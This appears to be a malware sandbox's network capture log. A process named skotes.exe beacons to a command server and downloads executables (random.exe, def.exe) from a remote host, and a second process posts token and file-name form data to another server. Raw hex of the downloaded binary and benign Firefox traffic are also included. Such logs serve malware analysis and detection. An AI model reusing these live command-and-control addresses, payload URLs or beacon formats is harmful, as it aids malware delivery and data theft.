Dec 10, 2024 05:10:36.505510092 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 10, 2024 05:10:36.505521059 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 10, 2024 05:10:36.505531073 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 10, 2024 05:10:36.624411106 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49914	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:40.976784945 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013608001&unit=246122658369
Dec 10, 2024 05:10:42.311392069 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49921	185.215.113.16	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:42.444474936 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 05:10:43.766077995 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:43 GMT Content-Type: application/octet-stream Content-Length: 2800128 Last-Modified: Tue, 10 Dec 2024 03:27:52 GMT Connection: keep-alive ETag: "6757b538-2aba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 9b 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@pzmyaaxr`Z:@wkcwmztw +@.taggant@ +"@
Dec 10, 2024 05:10:43.766136885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:43.766148090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:43.766299009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:43.766310930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:43.766321898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:43.766334057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:43.766468048 CET	1236	IN	Data Raw: ac 3c 13 ce 84 9f 11 8b 0d 80 13 13 7d ba b6 dd a9 53 ac ad ee f5 bf 6d 38 ca 5d 8c 57 55 cd ba e5 b8 e7 29 52 b7 8c ed b5 0f 56 db 62 f1 21 8e 1e c9 71 dd da c6 1e 91 0c f7 14 97 1c c1 da bf 22 3e 02 cd 84 c3 05 f5 e8 da 72 9b 7e d0 14 3e ca 27 Data Ascii: <}Sm8]WU)RVb!q">r~>'w\T68%;<!s~e2w5zgC+ge?};78B#+3^9\|/Z>WRUO7R#8-GmHyJS>R{
Dec 10, 2024 05:10:43.766495943 CET	1236	IN	Data Raw: 98 3b 7c fb 40 3b 78 af a9 20 f3 db 07 d8 7d 5c ce e0 01 d7 fc f5 5f ac 3e 43 57 cb 20 f8 07 ce ce e0 47 ad ac 98 43 c8 b1 35 86 53 20 3b bc cd ce 9c 7b e3 fc 84 ab d9 f2 5f a1 17 c8 d8 9f b4 fe e7 e7 37 07 bc 0e 45 20 b8 6f ce 8e d7 87 03 96 70 Data Ascii: ;\|@;x }\_>CW GC5S ;{_7E opEN;dtlmStS+BSGC~FbC{g?h?g7C/6'Zy$.<^e~iWm;M40`Zs %+{
Dec 10, 2024 05:10:43.766508102 CET	1236	IN	Data Raw: e1 de 02 c4 fa f0 7b b8 dd a3 cb cd 15 24 0c 5a 13 35 7a e3 d0 cb 57 64 04 92 4c ec f3 10 a6 69 ea e3 4d 1e 12 bf 59 8a 9f 91 26 b9 2e d6 46 74 de 38 a8 fd 00 a5 8a ef 1e 28 9e ef ef 95 ab 30 96 cb af dc 1c 91 b7 c6 11 0e e7 ce 88 6b 62 3f 4d 22 Data Ascii: {$Z5zWdLiMY&.Ft8(0kb?M"-x/H,2TCr$cVd&s$'tMT\W&T=GpNvDZ\;0Ly\|C[6UMHD@}} [
Dec 10, 2024 05:10:43.885461092 CET	1236	IN	Data Raw: 08 83 32 60 36 d4 1c b7 32 50 16 8a 6b 34 5a ae 02 cb 0d 0e 02 d4 bb 83 7f ee 2f e4 01 c3 30 df 02 c4 b5 c1 cf d7 e9 78 fd 1f 20 15 e3 05 7e 5c c9 7a a3 ca e1 a6 73 93 ce 36 0a fa e8 97 af c1 78 99 b1 c8 f2 95 ba 9c 4f db 10 7e be a1 ac 08 ee 10 Data Ascii: 2`62Pk4Z/0x ~\zs6xO~tx=\|OcfM$fl'{9kpj)q^1Jg9)fl>$Cx.Psbg/(tdeM;hx~Zh"sfT?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49960	34.107.221.82	80	3872	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:50.648068905 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 10, 2024 05:10:51.734833002 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 40036 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 10, 2024 05:10:52.390742064 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 10, 2024 05:10:52.705415964 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 40037 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49966	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:51.034115076 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 36 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013609001&unit=246122658369
Dec 10, 2024 05:10:52.384984970 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49971	185.215.113.206	80	3716	C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:51.902434111 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file"------KJKKKJJJKJKFHJJJJECB--
Dec 10, 2024 05:10:53.747679949 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49978	34.107.221.82	80	3872	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:52.641421080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49984	185.215.113.16	80	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:53.116988897 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 10, 2024 05:10:54.449012995 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:53 GMT Content-Type: application/octet-stream Content-Length: 2800128 Last-Modified: Tue, 10 Dec 2024 03:27:54 GMT Connection: keep-alive ETag: "6757b53a-2aba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 9b 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@pzmyaaxr`Z:@wkcwmztw +@.taggant@ +"@
Dec 10, 2024 05:10:54.449029922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449040890 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449095011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449106932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449116945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449132919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449290991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:54.449301958 CET	1236	IN	Data Raw: c1 07 bb bf 42 f9 58 48 02 0f a0 8b c3 f2 1e 4b 93 8a 58 78 80 1b 10 85 cb 33 0c ff 38 5d 65 44 bc 70 3e f2 3c 25 cb 53 98 f7 77 8c b8 46 1e 3c 7e 35 f7 b4 ba dc 0b 03 1b b5 5d fe c0 4a 71 27 43 88 13 84 ec e4 71 a3 5e e5 38 44 2b ef 3e df c8 e6 Data Ascii: BXHKXx38]eDp><%SwF<~5]Jq'Cq^8D+>n>_yo?#X)ZN7Ii.}>T\Dy)j}h}IipE0X9?`(w}2]tB_WkCH MU
Dec 10, 2024 05:10:54.449395895 CET	1236	IN	Data Raw: 1e c8 8c 55 2d b5 4a 84 43 43 17 2d 40 40 d5 fd 05 6d 0a 55 3b 68 be 17 33 28 60 55 85 21 5d bb 07 17 09 88 af 38 1a 0a c2 d2 1b 83 f1 36 b0 bc c1 d5 7b 6d 0c 04 13 f1 79 c7 0a 71 fe d0 0f 23 c6 99 7a 3c e4 a8 05 b9 69 00 b6 28 16 34 73 83 95 f6 Data Ascii: U-JCC-@@mU;h3(`U!]86{myq#z<i(4smlV\|?\$\y)9$Hcj2aP2:-,T?@R%aYXT$]IZ9@qin*\I;Tb6d5
Dec 10, 2024 05:10:54.570348024 CET	1236	IN	Data Raw: ac 95 ca 80 08 8e 6b 76 e1 da 03 84 55 5f 9a 0b e7 5d 08 c2 09 7f 46 8e 20 a3 25 55 63 f6 34 27 e6 9d 78 4d 8e ff e4 fa e2 b8 a5 48 43 fd 15 02 a0 e2 2a 42 53 eb e7 ea ad 8e e3 56 09 0e 9c a1 f5 2e cf d0 52 e4 4f 49 23 43 6e 29 87 4c b1 e2 0c f1 Data Ascii: kvU_]F %Uc4'xMHC*BSV.ROI#Cn)LkQvSTto\TNvVb_eg:^V@c1`WhkM}8yt-6yH?IUT;kx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49985	34.107.221.82	80	3872	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:53.521150112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 10, 2024 05:10:54.605740070 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 17:47:15 GMT Age: 37419 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 10, 2024 05:10:57.107695103 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 10, 2024 05:10:57.421336889 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 17:47:15 GMT Age: 37422 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 10, 2024 05:10:57.632616043 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 10, 2024 05:10:57.946362972 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 17:47:15 GMT Age: 37422 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 10, 2024 05:11:07.959162951 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 10, 2024 05:11:18.162302017 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 10, 2024 05:11:28.349817991 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49986	34.107.221.82	80	3872	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:53.840789080 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 10, 2024 05:10:54.926175117 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 57151 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 10, 2024 05:10:57.108717918 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
